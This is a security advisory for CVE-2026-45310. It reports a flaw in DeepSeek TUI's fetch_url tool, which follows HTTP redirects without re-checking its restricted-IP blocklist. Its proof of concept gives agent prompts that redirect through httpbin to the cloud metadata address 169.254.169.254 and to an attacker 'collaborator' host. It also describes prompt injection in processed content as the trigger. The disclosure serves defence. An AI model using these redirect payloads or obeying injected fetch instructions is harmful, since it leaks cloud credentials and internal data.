Advisory

GHSA-96ff-gc8g-wpvg

Also known as: CVE-2026-45310

Summary

DeepSeek TUI has SSRF via HTTP Redirect Bypass in fetch_url Tool

Details

Summary
The fetch_url tool validates the initial URL's resolved IP address against a restricted-IP blocklist (is_restricted_ip()) to prevent SSRF attacks against internal services (cloud metadata endpoints, localhost, private networks). However, the HTTP client (reqwest) is configured to automatically follow up to 5 redirects (reqwest::redirect::Policy::limited(5)) without re-validating the redirect target against the same SSRF protections.

PoC
Step 1 — Baseline: Confirm fetch_url blocks direct requests to restricted IPs.

Prompt: use fetch_url to fetch http://169.254.169.254/latest/meta-data/
Expected: Error — "restricted address (private/loopback/link-local)"

Step 2 — SSRF bypass via redirect: Fetch a public URL that redirects to the restricted IP.

Prompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://169.254.169.254/latest/meta-data/&status_code=302

Expected result: The error message says "connection refused" or "request failed: connect error" — NOT "restricted address." This proves the SSRF filter was bypassed; the connection failed only because 169.254.169.254 is unreachable from a non-cloud machine.

Observed result: fetch_url followed the 302 redirect and attempted to connect to 169.254.169.254. The error was a TCP-level connection failure, confirming the application-layer SSRF check was not applied to the redirect target.

Step 3 — Redirect to attacker-controlled host: Confirm attacker-controlled redirect targets are followed.

Prompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://[collaborator-domain]/ssrf-redirect-bypass&status_code=302
Expected: Collaborator receives HTTP callback at /ssrf-redirect-bypass, confirming the redirect was followed.

Impact
On cloud-hosted instances (AWS, GCP, Azure), an attacker can exfiltrate cloud IAM credentials, instance metadata, and other sensitive internal service data by redirecting fetch_url to http://169.254.169.254/latest/meta-data/. The attack is triggered via prompt injection (malicious instructions embedded in files or web content the model processes) that cause the model to call fetch_url with an attacker-controlled URL.

Severity

High Basis: The source's own band: HIGH

Dates

Published
2026-05-14 20:29 UTC
Modified
2026-06-09 10:30 UTC

Affected packages and fixes

deepseek-tui

crates.io · All systems

Affected

  • introduced 0, fixed 0.8.22 (semver)

Fixed versions

0.8.22

Fix

  • Fixed version 0.8.22
    cargo update -p deepseek-tui --precise 0.8.22

deepseek-tui-cli

crates.io · All systems

Affected

  • introduced 0, fixed 0.8.22 (semver)

Fixed versions

0.8.22

Fix

  • Fixed version 0.8.22
    cargo update -p deepseek-tui-cli --precise 0.8.22

deepseek-tui

npm · All systems

Affected

  • introduced 0, fixed 0.8.22 (semver)

Fixed versions

0.8.22

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences